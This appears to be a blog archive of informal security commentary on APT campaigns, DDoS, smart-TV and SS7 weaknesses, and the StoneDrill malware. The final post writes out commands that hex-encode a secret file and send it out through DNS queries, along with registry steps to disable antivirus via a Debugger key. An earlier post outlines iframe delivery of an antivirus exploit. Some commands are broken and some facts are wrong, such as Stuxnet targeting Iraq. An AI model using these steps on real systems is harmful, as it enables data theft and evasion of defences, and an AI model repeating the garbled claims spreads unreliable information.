Advanced Persistent Threat (APT) miscellaneous outline

For the first time I heard the “Advanced Persistent Threat”, which, for me, was a hostile conspiracy between nations. Famous network events (see below) as proof of concept. What is the purpose of announcing the APT to the world?

2010 – The Stuxnet (ATP) is believed by many experts to be a jointly built American-Israeli cyber weapon,although no organization or state has officially admitted responsibility.

2011 – Defence contractor Lockheed Martin hit by advanced persistent threat to network (specifically related to RSA’s SecurID two-factor authentication products)

2011 – APT28 has used lures written in Georgian that are probably intended to target Georgian government agencies or citizens.

2013 – APT28 Targeting a Journalist Covering the Caucasus

2013 – Kimsuki malware (APT) targets critical infrastructures and Industrial control system (ICS) in South Korea

2013 – In February 2013, Mandiant uncovered Advanced Persistent Threat 1 (APT1).Alleged Chinese attacks using APT methodology between 2004 and 2013

*2014 – BlackEnergy APT group re engineer the black energy DDOS software. Deploy SCADA‐related plugins to the ICS and energy sectors around the world.

2015 – In August 2015 Cozy Bear was linked to a spear-phishing cyber-attack against the Pentagon email system causing the shut down of the entire Joint Staff unclassified email system and Internet access during the investigation. (Cozy Bear, classified as advanced persistent threat APT29)

2016 – Onion Dog, APT focused on the energy and transportation industries in Korean-language countries

APT (Advanced Persistent Threat) design definition

It is flexible and sustainable platform, demonstrating long-term use and versatility planning.

The common APT kill chain criteria (see below diagram for reference)

However, APT 28 runs differently. A complete attack scenario with APT28 has multiple malware stages, such as Sourface/Coreshell, Eviltoss, and Chopstick. APT28 malware could persuade a trusted user to open a malicious document that includes a Sourface downloader, which downloads the Chopstick second-stage malware. We believe that hacker use the spare phishing technique.

Terminology for reference:

CORESHELL:This downloader is the evolution of the previous downloader ofchoice from APT28 known as “SOURFACE” (or “Sofacy”). This downloader, once executed, create the conditions to download and execute a second-stage(usually Eviltoss) from a C2.
EVILTOSS: This backdoor is delivered through CORESHELL downloader to gain system access for reconnaissance, monitoring, credential theft,  and shellcode execution
CHOPSTICK: This is a modular implant compiled from a software framework that provides tailored functionality and flexibility. By far Chopstick is the most advanced tool used by APT 28.


MIMIKATZ: Everyone of us knows this tool. In this case, this has been of devastating effects to completely compromise AD Forest

Fileless APT malware

MM Core APT: MM core is a file-less trojan

Trojan.APT.BaneChant targeted Middle Eastern and Central Asian organizations. The trojan is file-less, downloading its malicious code to memory to prevent investigators from extracting the code from the device’s hard drive.

Primary objective for advanced persistent threat

There are 2 different of objectives for advanced persistent threat till today.

Objective 1: An advanced persistent threat (APT) is a network attack in which an unauthorized person gains access to a network and stays there undetected for a long period of time. The intention of an APT attack is to steal data rather than to cause damage to the network or organization.

Objective 2: An advanced persistent threat (APT) is a set of stealthy and continuous computer hacking processes which targeted the computer hardware of nuclear facilities. The obj of the attack is try to suspend the services or mess up the operation causes destruction.

Infiltration outline
A typical scenario shown as below:
1. Attackers rename the exploit (say, which takes advantage of a ZIP parsing vulnerability of the antivirus) to Titanium.wmf
2. Hold a webpage which contains <iframe src = Titanium.wmf>
3. Convince victims to visit this webpage.
4. While victims are browsing webpages, iron.wmf would be downloaded onto the victims’ computers automatically, without any user interaction.
5. If the auto-protect of the antivirus is on, the antivirus engine would parse Titanium.wmf  automatically, and then possibly get compromised immediately.
Detect: To perform a number of checks for installed security products on the victim machine. Check entries within the HKLM\Software\ registry path
The antivirus product represented by a value that is binary which might hints malware which brand of anti-virus install in victim machine (see below example):

0x08000000 : Sophos
0x02000000 : INCAInternet
0x04000000 : DoctorWeb
0x00200000 : Baidu
0x00100000 : Comodo
0x00080000 : TrustPortAntivirus
0x00040000 : GData
0x00020000 : AVG
0x00010000 : BitDefender
0x00008000 : VirusChaser
0x00002000 : McAfee
0x00001000 : Panda
0x00000800 : Trend Micro
0x00000400 : Kingsoft
0x00000200 : Norton
0x00000100 : Micropoint
0x00000080 : Filseclab
0x00000040 : AhnLab
0x00000020 : JiangMin
0x00000010 : Tencent
0x00000004 : Avira
0x00000008 : Kaspersky
0x00000002 : Rising
0x00000001 : 360

Basically there are four kinds of vulnerabilities seen in antivirus software:
Local Privilege Escalation
Management (Administrative) interface


For instance, A zip bomb, also known as a zip of death or decompression bomb, is a malicious archive file designed to crash or render useless the program or system reading it. It is often employed to disable antivirus software.

Find zero day vulnerability compromise on victim workstation

The implant successful rate all depends on the patch management status on the workstation.

APT Malware callback

In order to avoid malware analyzer (FireEye, RSA ECAT) detect the malware callback to external CnC server. APT malware will compromise the legitimate website and then redirects the communication to the CnC server. This method can prevent malware analyzer deny the traffic to external command and control (C&C) servers.

Data Theft

The malware collects data on a victim host, then exfiltrate the data off the network and under the full control of the hacker. Hacker will erase all evidence after job complete. Since the host is compromised and therefore he can return at any time to continue the data breach.

Observation on 2017 1st quarter

Regarding to the consolidation of APT incidents, analysis reports so far.  It looks that the most efficient way to avoid APT incident happen is install a malware analyzer (FireEye, RSA ECAT) in your IT network campus. As a matter of fact, APT technique is a  advance technology which develop by country or technology group and therefore the greater possibility can break through End point defense mechanism. For instance antivirals program. However my comment is that Kaspersky is a prefect antivirus and malware defense vendor. May be he is one of he exception. However client might concern the company background (A group of developer from Russia). As we know, home users not possible to install the malware analyser. As such, I would suggest end user consider their decision when they are going to purchase antivirus program. Below matrix table not precise but can provide an idea to you which component is a the bottle neck to against APT attack.

APT (advanced persistent threat) kill chain relationship matrix table

Phase Detect Deny Disrupt Degrade Deceive Destroy
Reconnaissance 1. Managed security services
2. IDS
Weaponization End point defense (antivirus) End point defense (antivirus) queuing and loading
Delivery SIEM Proxy Srv End point defense (antivirus)
Exploitation malware analyzer Vendor Patch End point device
Installation End point defense (antivirus) malware analyzer 1. End point device
2. Malware analyzer
C2 1. malware analyzer
malware analyzer malware analyzer DNS redirect
Actions 1. malware analyzer
malware analyzer

Vulnerabilities in the old OLE2-based HWP file format – engages APT attacks to South Korea

North Korea’s rising ambition seen in bid to breach global banks

My reflection on CNBC News (North Korea’s rising ambition seen in bid to breach global banks) and written down comments below:


The overall situation looks extreme today no matter political or commercial. From commercial area, enterprise try to monopolize on market. From country to country, conflicts of interest in natural resources. My personal feeling was that the ownership of the non develop areas better belongs to natural instead of country. For sure that not only limit to Antarctica! Above description not intend to divert (side-track) your attention. Since the terms benefits or interest change the whole world. Yes,  human being go for survival, money is the key factor. And such away create the criminal activities and conflict of interest.

Electronic age made the overall situation more complex

Electronic age made the overall situation more complex especially banking industry. The evidence was told that that even though Mira DDOS, IOT Botnet and Zombie types of cyber attacks not causes banking industries lost the money in their drawer. However the insider threats especially trojan and malware which lets the finanical institution lost huge amount of money (For instance Bangladesh heist). Furthermore cyber espionage infiltrate activities most likely relies on malware and Trojan. The best example can quotes is the Stuxnet malware. The goal of Stuxnet intend to disturb the operations of nuclear facilities in Iraq.

From technical point of view, malware belongs to monitor (surveillance) and control of tool. The huge group of survillaince program must utilize malware as a infection media. Sounds like the APT (advanced persistent threat) is the descendants of the malware.

The term kill chain was originally used as a military concept related to the structure of an attack; … Since then, the “cyber kill chain” has been adopted by data security organizations to define stages of cyber-attacks (see below picture diagram)

Regarding to the definition of APT show on wikipedia . An APT usually targets either private organizations, states or both for business or political motives. APT processes require a high degree of covertness over a long period of time.  From criminal activities point of view, hacker most likely will collect the credential, personal details and database in the long run. For the criminal case like steal the money in electronic payment system, it is rare on APT type of attack.

Does APT equal to criminal activities in commercial world?

Observation – FBI stated that SONY INTRUSION and banking environment insider threats (banking malware) are the conspiracy of the North Korea government.

Why do we believe the perpetrator is North Korea?

The official statements from the FBI and US-CERT found the malware and disclose their md5 hashes for reference.

Dropper = d1c27ee7ce18675974edf42d4eea25c6
wiper = 760c35a80d758f032d02cf4db12d3e55
Web server = e1864a55d5ccb76af4bf7a0ae16279ba
Backdoor = e904bf93403c0fb08b9683a9e858c73e

Since the attack target of this malware exactly Microsoft windows platform. Base on definition of fair proof, I select and highlight Microsoft information details for reference.

Microsoft Backdoor:Win32/Escad.AA!dha

This threat can give a malicious hacker access and control of your PC. They can then perform a number of actions, including downloading other malware. But as usual Microsoft’s not intend to provides the suspicious source IP address list.

Remark: Per Norse Corp information, the malware was signed with a compromised Sony certificate.

The cyber defense solution provider found more details of this malware on Sep 2013. The malware activities looks came from Jilin Province Network and Liaoning Province Network. The security expert believed that the command & control may came from North Korea. Since Jilin and Liaoning provides the Internet services to North Korea. This malware so called Kimsuki malware.

Transformation – file type format convert weaponized File format

Vulnerabilities in the old OLE2-based HWP file format

What is an HWP file?

HWP documents are document files specialized in the Korean language and OLE2based document format similar to Microsoft’s 97-2003 Microsoft document. The file format created by the South Korean company Hancom. HWP files are similar to MS Word’s DOCX files, except that they can contain Korean written language, making it one of the standard document formats used by the South Korean government.

Design weakness of HWP files:

Para text is a data record type that stores the content of each paragraph in body text. When parsing a para text tag within an .hwpx file, a logic error in hwpapp.dll results in a type confusion scenario. When paired with an appropriate heap spray, this vulnerability can affect code execution.

Remark: In computer security, heap spraying is a technique used in exploits to facilitate arbitrary code execution. The part of the source code of an exploit that implements this technique is called a heap spray. In general, code that sprays the heap attempts to put a certain sequence of bytes at a predetermined location in the memory of a target process by having it allocate (large) blocks on the process’s heap and fill the bytes in these blocks with the right values.

2013 – Kimsuki malware design objective(OLE2-based HWP file format + APT) : Targets Critical Infrastructures and Industrial Control Systems (ICS)

2016 – Onion Dog, APT Focused On the Energy and Transportation Industries in Korean-language Countries

OnionDog malware is transmitted by taking advantage of the vulnerability of the popular office software Hangul in Korean-language countries, and it attacked network-isolated targets through a USB Worm. OnionDog APT targets Critical Infrastructures and Industrial Control Systems (ICS)

Overall comment:

Since North Korea ruler as a dictator control their country. Developing nuclear bomb,  test the missile looks show his power to the world. From psychological point of view, it is easy to understand his goal to enagaged APT attack. Since the dictator would like to emulate his imaginary enemy (USA) to destroy the nuclear power energy facilities from his enemy. However I remain to reserve my opinion that he is the lord behind the seen to engage the banking malware attack in foreign country except south Korea?

Reference to Korea CSIS report:

  1. 2011 – Denial-of-service(DDoS)attacks on websites, the first major cyber-attack attributed to North Korea was on April 12, 2011, which paralyzed online banking and credit card services of Nonghyup Agricultural Bank for its 30 million customers.
  2. 2013 – Advanced persistent threat campaigns, and employment of less sophisticated but sufficiently effective malware such as the Jokra wiper tool observed on March 20, 2013. South Korean media reports that North Korea has started to target smartphones as well.

For more detail, please refer to below url for reference.

What Do We Know About Past North Korean Cyber Attacks and T heir Capabilities ?


Apple icloud security burden – Webkit looks like a culprit! (Mar 2017)

Apple developers work hard on  iCloud security to improve the security. They are in an effort to encourage adoption of the two factor authentication standard. Since Apple device did a good job in end point device so far. And therefore it such a way reduces of inherent risks. However it is hard to avoid the vulnerability happen on application side since development source code is open. Apart from that it is hard to refuse the open source application deployment.

As we know a Apple release security patches on 23rd Jan 2017, a common vulnerability criteria focus on a web component. Yes, it is WebKit. Let start the story from scratch.  Be my guest. Let’s start the journey!

Why Use WebKit?

Some applications are full-featured browsers, but more often applications embed web content as a convenience, as in a custom document system. WebKit is a layout engine software component for rendering web pages in web browsers.

Since found a flaw on WebKit,  a rogue web page can crash the browser because all code runs in the same process. New version of webkit (Webkit2) enhance Safari architecture. It aim to avoid this design limitation. It enforce to separate the code into two different processes. That is User Interface and web page process maintain their specify process. Below detail shown that how Webkit 2 architecture improve the Safari process isolation feature.


As times goes by, Webkit features like a major component embedded in web browser (see below).

However it bring up cyber security world concern on 2012. A heap memory buffer overflow vulnerability exists within the WebKit’ JavaScriptCore JSArray::sort(…) method.

This design limitation accepts the user-defined JavaScript function and calls it from the native code to compare array items.
If this compare function reduces array length, then the trailing array items will be written outside the “m_storage->m_vector[]” buffer, which leads to the heap memory corruption. At this time, you may ask, does the webkit or webkit 2 design flaw only apply to Apple devices? I believe that it apply to all different brand name of vendors which make use of webkit or webkit2.

The exploit was due to an heap buffer overflow issue in JavaScriptCore JSArray::Sort() method. Below details of program syntax will bring you an idea in this regard.

Cyber attack transformation = Attack from local device to Virtual server machine.

Hacker looks exploits the vulnerability of WEBKIT, a weakness hints that hacker can transform the ROP(return oriented programming) as attack weapon. A technical article published by IEEE records the following scenario.

Important: An approach to attack on the Xen hypervisor utilizing return-oriented programming (ROP). It modifies the data in the hypervisor that controls whether a VM is privileged or not and thus can escalate the privilege of an unprivileged domain (domU) at run time. As ROP technique makes use of existed code to implement attack, not modifying or injecting any code, it can bypass the integrity protections that base on code measurement. By constructing such kind of attack at the virtualization layer.

Sounds horrible on above matters! Why? If such hacker technique develop in advance. So the virtual machine run on cloud farm will become a victim.  Hey, same scenario looks possible happened in iCloud. The side effect is that it is not only compromise a single icloud container (single device), it effect the whole unit of icloud. Below IEEE technical article highlight is the proof of concept. If you are interest, please do a walk-through of this document highlight. I am afraid that this article might have copyright. And therefore not going to copy all the articles. Should you have any interest, please visit IEEE publisher web site to find out more.

A rumour concerning “rumblings of a massive (40 million) data breach at Apple.” Believe it or not? In the meantime, if you are the apple fans, you must re-confirm all the patches provided by Apple Corp.  Keep run don’t stop! For more details, please refer to below url for reference.


iCloud for Windows 6.1.1

The latest software updates from Apple












DDOS never expire! A powerful tool for political and economic weapon (Part 1)

We heard DDOS term till 80’s. The foundation of attack given from network layer (OSI layer 3) till today application layer (OSI layer 7). Since 2010 a mobile computing trend leads BYOD (Bring your own device) terminology and carry out more serious distribution denial of services. A public DNS incident occured last year (2016) exposed IoT type style distribution denial of services. If you still remember , security expert forseen that ransomware  is going to replace DDOS soon. It looks that the statement not totally correct.  The truth is that cyber arsenal virtually categorizes the weapons into different categories (see below).

Denial of IT Services categories Source of attack Technical (Naming convention) Destination of attack Benefits of attacker Side Effect
End user computing
1. DDOS (SYN Flood)
2. DOS (SYN Flood)
Network layer (OSI layer 3) Prestige and Glory Bring disruption to satisfy objective (not limit to economic, might involves political reason)
End user computing 1. DDOS (UDP Flood)
2. DOS (UDP Flood)
Network layer (OSI layer 3) Prestige and Glory Bring disruption to satisfy objective (not limit to economic, might involves political reason)
End user computing 1. DDOS (ICMP Flood)
2. DOS (ICMP Flood)
Network layer (OSI layer 3) Prestige and Glory Bring disruption to satisfy objective (not limit to economic, might involves political reason)
End user computing 1. DDOS attack focused on Web applications vulnerabilities
2. DOS attack focused on Web applications vulnerabilities
Application layer (OSI layer 7) Prestige and Glory Bring disruption to satisfy objective (not limit to economic, might involves political reason)
End user computing 1. DDOS attack focused on Operating system vulnerabilities
2. DOS attack focused on Operating system vulnerabilities
Application layer (OSI layer 7) Prestige and Glory Bring disruption to satisfy objective (not limit to economic, might involves political reason)
Compromised web site, email phishing attached with file or url embedded malicious code Application layer (files and OS) – Attack trigger by ransomware which cause files lock (encrypted) 1. Operating system and files
2. End user computing
Bitcoin (money) Bring disruption to satisfy objective (focus on business world instead of political reasons)

Information supplement (BYOD and IoT)

Denial of IT Services categories Source of attack Technical (Naming convention) Destination of attack Benefits of attacker Side Effect
BYOD (mobile phones) Botnet – so called vampire cyber soldier Both network and application layer (OSI 3 & 7) Prestige and Glory Bring disruption to satisfy objective (not limit to economic, might involves political reason)
IoT (Internet of things includes, web cam, car automation, home appliance, Smart TV and smart electronics device) IoT (Botnet) – so called descendant of vampire cyber soldier Both network and application layer (OSI 3 & 7) Prestige and Glory Bring disruption to satisfy objective (not limit to economic, might involves political reason)

Yes, this topic might bring interests to reader. Ok, let’s join together to this journey (DDOS never expire – A powerful political and economic weapon (Part 1)).

Is there a way to identify attacker traffics? Yes, it can but it seems out of control now! BYOD and IoT technology are the accomplice!

As far as we know, the earlier stage of DDOS and DOS attack keen to make use of random source to increase the difficulties of the defense. A technical term so called Random Spoofed Source Address Distributed Denial of Service Attack (RSSA-DDOS)

Let recall different types of avoidance mechanism to avoid classic DDOS. There are total 3 types of filter can avoid classic DDOS happened on network layer.  For more details, please see below:

  1. Ingress filtering
  2. Egress filtering
  3. Router-based filtering

However above 3 types of prevention mechanisms not able to avoidance of RSSA-DDOS. The drawback is that those solution encounter difficulties to distinguish between legitimate traffic and attack traffic in effective way.

Dawn appears only for short time (FSAD & ECBF)

Filtering based on the source address distributed feature – FSAD


  1. Detection of attack occurred and according to the current attack scale, historical flow and source address recognition accuracy requirements. Set the appropriate legal address identification
  2. 2. Identify the legal source address and saved to the legal address table (LAT)

But how to identify the counterfeit source IP address

A solution named “The Extended Counting Bloom Filter -ECBF” can do the magic.
Assuming that a packet is received, the source address Saddr is (a.b.c.d) >
The source address Saddr is (a.b.c.d), then

• IPH(Saddr)=256×a+b;
• IPM(Saddr)=256×b+c;
• IPL (Saddr)=256×c+d;
• IPLH(Saddr)=256×d+a.

The ECBF contains four hash codes for counting the number of source address packets number and array. Each array corresponds to a hash function (see below)

It is easy to see that each element of the ECBF corresponds to 2 16 source addresses. For example, the 257th cell of the A 1 array corresponds to the source address (1.1.x.y)
According to the packet, where x and y are any number between 0 and 255. And each time a packet is received, the four cell values corresponding to the packet source address
Then add 1 for A 1 [256 × a + b], A 2 [256 × b + c], A 3 [256 × c + d] and A 4 [256 × d + a], respectively.
 See below diagram will receive a high-level understanding.
Legitimate address identifying algorithm under random spoofed source address DDoS attacks (see below):
Set identifying time interval and threshold T;
Receive a packet;
Get source ip address sip;
Record sip in ecbf;
If (every element’s value of sip in 4 arrays>T)
Sip is a legitimate address;
if (time interval is over)
Empty 4 arrays;
Start a new time interval;
End while;
 IoT Botnet appears then triggers DDOS make the Cyber world crazy!
Above filter base defense mechanism and integrity identification method looks insufficient when IoT Botnet join to cyber war. Recently headline news stated that Mirai botnet turning internet of things into botnet of things. See how serious of this attack effected cyber world!
Mirai botnet on volume amount basis break through advanced defense mechanism. It look likes a cyber soldiers listen to the instruction of C&C server to attack the enemy. As a matter of fact, the cyber incident historical record last year proven that above imagination not a assumption. This is a real story.
Oct 2016 – Dyn cyberattack: the attack involved “10s of millions of IP addresses (DDOS suspects – Mirai)
2016 – A massive DDoS cyber attack that disabled many online sites during the American presidential election (DDOS suspects – unknown)
2017 – The citizens of Hong Kong looking for True, Fair & Free Election, however the democratic websites operate in frequently encountered DDOS during important events (DDOS suspects – unknown)
Above 3 items of incident can tell us DDOS attack never expire. Sounds like the attack is under transformation. DDOS attack from begin focus on commercial world expands to other non commercial area. The attacks methodology enhance by internet of things and become powerful. The additional target added foreign government and democratic world.


Since this discussion overtime and looks bulky. Let’s continue our discussion on Part 2 next time (DDOS never expire! A powerful tool for political and economic weapon). Stayed tuned.










Next vulnerable operating system! Not Microsoft, Linux but it is Tizen.

Heads up by  Vault 7 CIA scandal topic on Wikileak. Last time we are talking about the high level overview of Samsung TV vulnerabilities for home user and hospitality industry.

We did not discuss technical information last time, since this is a quite interested topic. Let’s take this opportunity see whether we can find out more details in this area. Linux and Microsoft operating system cover up the computer market more than 30 years . Microsoft server and workstation market share are the biggest in business enterprise market exclude the BYOD and IoT markets.  Since windows OS and traditional linux OS are bulky. Whereby hardware manufactures would like to develop their operating system. Apple hardware we all known using their proprietary iOS. Android and IoT devices more preferred linux  environment.  Tizen is a open source mobile operating system. It is developed by the alliance of Linux Foundation, LiMo Foundation, Intel, Samsung and Sprint Nextel. It supports the ARM and x86 platforms. The Tizen source code is available for download as it is a open source project. From technical point of view, Tizen operating system looks possible to replace OS platform for BYOD and IoT devices market soon.  Meanwhile Tizen operating system have his own fundamental design limitation and weakness. Hackers or governance enforcement team can relies on this alleged design limitation and weakness to compromise the device. As a matter of fact, jailbreak activities popular since Apple iPhone century. We can seen that there are numbers of jailbreak technique available on the market includes Nintendo, Sony and Microsoft electronic game devices and mobile phone. But who is the accomplice of this activities? We believed that it is given by open source!


About the situation of Jailbreak Smart TV on the market

Understanding of Tizen OS architecture

Tizen is an operating system based on the Linux kernel and the GNU C Library implementing the Linux API. New model of Samsung Smart TV  is running on top of TizenOS platform.The Tizen OS architecture shown as below:

About jailbreak methodology and official define usage angle

As usual, the traditional jail break method relies on physical USB serial adapter cable. A security expert did a proof of concept on LG smart TV.  The experiment proof that it is easily to hack your LG TV with an adruino card via uploading  scripts. Mike Stevans is the professor of ethical hacking course in México. He explains that libLGTV_serial is a Python library to control LG TVs (or monitors with serial ports) via their serial (RS232) port.  Therefore you can use this method to hack into TV mode and root it.  From hardware manufacture policy, end user are allow to customize the firmware. LG smart TV users are can download old firmware’s from official LG websites or for Internet forums. These firmware’s are customized as per user needs. Since manufacturer define a open standard policy on their products. This policy benefits for product development since more input idea and solutions can improve and enhance the smart TV functions and features. However a group of people not limit to hacker can take the advantage of this benefits to satisfy their wants. For instance, surveillance, information collection (video and voice recording). But it is hard to judge such action is incorrect if it use to avoid crime or terrorism activities.

Wireless attack on smart TV?

Hacker found that you are able to compromise the SamSung TV by Skype application!  One of the solution is that install Skype widget on Smart TV goal reproduce Plug in authentication by pass. An authentication by-pass was discovered in the Desktop API offered by Skype whereby a local program could by-pass authentication if they identified themselves as a Skype Dashboard widget program. The smartTV app (skype) is linked directly to Tizen libraries, native libraries or Application compatibility layer (ACL) supplied libraries depending on functional, performance or hardware requirements. The architecture model of Skype application is shown as below:

Above information proof that the fundamental design of Tizen operating system contains authentication weakness. Hacker easy embedded malicious code in zip file through Skype. These can be used to copy files to any writable file system on the target and install a backdoor.

Remark: Yes, agreed that the culprit no only Tizen OS itself. Skype application contains vulnerabilities. The T9000 backdoor discovered by PaloAlto Networks is able to infect victims’ machines to steal files, take screengrabs, and records Skype conversations.

Reference: CVE-2012-1856 and CVE-2015-1641

Foreseen security Issues in Tizen OS

1 . Applications over permission

Web applications interface (API) leverage device functions by making use of the JavaScript bridge [addjavascriptinterface], program developer should be described the permission in Manifest file  ( manifest file, describing the name, version, access rights, referenced library files for the application). However device APIs inside Tizen are already defined. A concern on attack surface of over privileged Apps.

2. OS memory protection

DEP (Data Execution prevention) not enable on Tizen OS.

Address Space Layout Randomization (ASLR) function have bugs. Remark: A technical article found that all the address of heap, stack and main modules in Tizen OS was not randomize.  As a result it can’t avoid malware infection.


As mentioned last time, the 1st step I finish check-in from hotel will going to do this action.







voyeur vs surveillance – immoral or civil governance

Nowadays, CCTV, webcam or even though your mobile phone camera looks involves in our life daily. Seems that the surveillance behavior is following with us once we are born on the earth. The reflections of my thinking of CIA scandal. What is the exact scandal?

Immoral or civil governance

As said, the surveillance behavior is following with us once we are born on the earth.  For instance, mum look after their child, take care of their home work and daily life. From technical point of view, such behavior looks normal without any comments said that this is governance. From technical point of view, it looks that it got the similarity of action. But for sure that this is moral.

How to identify it is an immoral action. For instance, become a voyeur. Under non criminal investigation situation, sniffing ,recording and voyeur are immoral behavior.

Wikileak document subject Vault 7: CIA Hacking Tools Revealed information bring to my attentions. Especially CIA malware targeted on smart TVs. Since the jailbreak techniques on iPhone, Android and electronic games are common. Heads up that even though SmartTV, the jailbreak on Samsung TV are the hot topics.

The interesting thing is that the jailbreak techniques covered in smartTV model deploy in hospitality  industry. It make sense to me that jailbreak for personal TV might have personal interest to enjoy more benefits but for sure that it is unsafe. However for the enterprise hospitality group it was not possible to populated a illegal feature since enterprise firm not going to take the risk. So what is the goal of this jailbreak tool?

On this discussion , I am not going to discuss the source code which I found since this is a hot topics. You can find the information anywhere. For your easy to find out the related information. Please visit below url:


It is a better idea that check the brand of the smart TV installed in hotel after check in. May be you will enjoy your business or travel trip more , right?




The culprit of the CIA’s global covert hacking program given from SS7 design limitation

Headline news today provides a 2nd round of reminder to the world that we are under surveillance.  Since our hero Edward Snowden heads up to the world earlier. As a result, he such a way may carry a crime of treason. To be honest , I am a little worry about of him. The fact is that the expectation of president in united stated has been changed. Good luck to him at all! If god is present, please give your son Edward’s assistance. He really need you help!

The no. of total 8761 documents posted on wikileak we are not going to discuss here. Just know this is the first full part of the series dubbed Year Zero. However we would like to bring your attention on the weakness of tel-comm industry today. And believed that this is the root causes or you can say this is a backdoor on telecommunication world. Ok, this time all we emulate as Sherlock Holmes. Let’s start.


  1. Flaw found in ASN.1 compiler

Abstract Syntax Notation 1 (ASN.1) background:

Quick and dirty description:

In the field of telecommunications and computer networks, ASN.1 (Abstract Syntax Notation One) is a set of standards describing data representation, encoding, transmission and decoding flexible notation. It provides a formal, unambiguous and precise rules to describe independent of the specific computer hardware object structure. ASN.1 provides application and protocol developers a high-level tool, essentially a data-definition language, for defining protocol syntax and the information that an application exchanges between systems.


A flaw discovered in an ASN.1 compiler, a widely used C/C++ development tool, could have propagated code vulnerable to heap memory corruption attacks, resulting in remote code execution.

Heap memory corruption attacks

Traditional memory corruption exploit can be achieved by pointing to the injected code on the stack or heap which data resides in.

Technical information – vulnerability details

Vulnerability Note VU#790839
Objective Systems ASN1C generates code that contains a heap overflow vulnerability, for more details, please refer to below url for reference.

Afterwards, the government agency relies on this design weakness of SS7 to track the movements of the mobile phone user anywhere in the world. From technical point of view, compromise of WhatsApp or Telegram was not direct way. Sometimes no need to install malware to the clients mobile phone. It is exact the abuses of SS7 weaknesses.

2. TCP/IP version 4 (CVE-2016-5696)

The difficult part for hacker taking over TCP connection is to guess the source port of the client and the current sequence number. A group of researchers found that open a connection to the server and send with the source of the attacker as much “RST” handshake packets with the wrong sequence mixed with a few spoofed packets. By counting how much “challenge ACK” handshake packet get returned to the attacker side.  Attacker might knowing the rate limit one can infer how much of the spoofed packets resulted in a challenge ACK to the spoofed client and thus how many of the guesses where correct. This way can quickly narrow down which values of port and sequence are correct.


3. Law enforcement backdoor software overview

Edward Snowden disclosed global surveillance program in 2013. We all alert that surveillance programs are flooding all around the world. Bring to tech guy attention may more or less is the sniffing technique. How was US government collect personal data and telephone call on our desktop and mobile phone devices? Tech guy with interest on cyber securities may know few hacker group assists law enforcement sector develop monitoring agent software. The brand name includes DaVinci, Morcut, Crisis & Flosax. It looks that the most famous product is the DaVinci. An Italian made surveillance software best perform a lot of actions, such as hidden file transfers, screen capturing, keystroke logging & process injection.

Interest story happened on July 2015

A cyber-surveillance company believes a government may have been behind a massive hack of its systems that saw huge chunks of its code stolen. For more details, please refer to below URL:

After you read  this article, you may have questions? Since 2015 data breaches incidents happened in frequent. It is hard to believe that how weakness of cyber defense setup in the world. No matter how many anti defense facilities you built in your firm. Seems there is no appropriate solution to fight against cyber crime. Do you think all the incidents happened within 2015 to 2016 are related hacker code exposed in July 2015?


Law enforcement surveillance software technical features:

Available surveillance modules
Accessed files
Address Book
Applications used
Device Type
Files Accessed
Saved Passwords
Mouse Activity (intended to defeat virtual keyboards)
Record Calls and call data
Take Photographs with webcam
Record Chats
Copy Clipboard
Record Audio from Microphone
With additional Voice and silence detection to conserve space
Realtime audio surveillance (“live mic:” module is only available for Windows Mobile)
Device Position
URLs Visited
Create conference calls (with a silent 3rd party)
Infect other devices (depreciated since v. 8.4)

Suggestion to reader:

Since the world situation became more complex today no matter political and people’s livelihood. A solution will let you easy to know your mobile phone status. Are you under government surveillance program?

If you are android phone user, go to playstore download a free program names SnoopSnitch. The SnoopSnitch which can warn when certain SS7 attacks occur against a phone and can detect voyeur’s jump into your phone.






Imaginations – a phantom command DNS queries activated Stone Drill attack in Saudi

Patrick Jane is a fictional character and the protagonist of the CBS crime drama The Mentalist, Jane is an independent consultant. It looks that sound likes you can me in Cyber world. Ha Ha.  The most interested Cyber security topics past two days is the destructive malware dubbed StoneDrill. Since the incident happened end of last year (2016). But this news allowed to expose to the world few days ago! The Famous antivirus vendor (Kaspersky Lab) analysis all the incident details and provides the detective control to the world. In our view point, all the information can research on internet. But the difficult ways is what is the infection technique on this incident. I believed that security expertise likes Kaspersky Lab and FireEye know more information but it can’t release to public.  Since we are in the discussion forum. There is no harm to become a actor in this moment. Ok, my friends. We are now Patrick Jane. Let’s to start the journey.

Shamoon 2.0 and StoneDrill background:

Shamoon 2.0 and StoneDrill are developed by different hacker groups. The finger print ( keyboard layout and the ID) found in the malware source code look likes a proof of identification. For Shamon 2.0 , Yemen language set was found  (ID: 9217 i.e.Arabic -Yemen [ar] (ar-ye)). But the StoneDrill embeds mostly Persian resource language.

Common attack target criteria:

Platform: Most likely is a Microsoft Window OS of machines.

Victim: Targeting oil and gas companies in the Middle East and also aiming towards targets in Europe, Kaspersky said.

Imaginations  – How malware fool the oil and gas company defense mechanism.

We assumed that both oil and gas company install antivirus program , Malware detector and end point content filtering (Websense and Bluecoat). But how come to let attacker implant malware to the hosts?

Hint 1:

Found PowerShell activities (Shamoon 2)

Hint 2:

Since the usage of powershell in windows OS platform is common today. Powershell looks like a accomplice.There are a lot of ways to avoid detection.

Methodology A:

DNS queries received powershell command. A unique attack called DNSMessenger uses DNS queries to carry out malicious PowerShell commands on compromised computers. The function likes RAT. This

File transfer via DNS

1. convert the file to be transferred via tshark into a hex stream.
Command - (xxd -p secret > file.hex)

2. Read each line from file.hex, and "transmit" it as a DNS query.
Command - (for b in `cat file.hex `; do dig $; done)

3. On the DNS server, we can capture the messages via tcpdump or the query log.
Command - (tcdpump -w /tmp/dns -s0 port 53 and host

4. Extract the messages from the packet capture
Command - (tcpdump -r dnsdemo -n | grep | cut -f9 -d' ' | cut -f1 -d'.' | uniq > received.txt)

5. Reverse the hex encoding
Command: (xxd -r -p < receivedu.txt > keys.pgp)

Done. Hey man, File transfer via DNS you are done! 

Methodology B:

Disable Anti-Virus via Debugger Setting

1. Run regedit.exe
2. Go to HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options
3. Create a new key (example: calc.exe)
4. Create a new string value under your exe. The name of the string value is ‘Debugger’, and the value is svchost.exe (or anything)

Seems our Patrick Jane life stop here! Ha Ha, it is interesting, right? It looks that more technique can be used today to fool the defense mechanism. As said, this is only my imagination, it is a concept. A virtual scenario replay to detect what is the possible way on this malware incident. Ok, see you!


Heard that Android operating not secure anymore, but it is properly not.

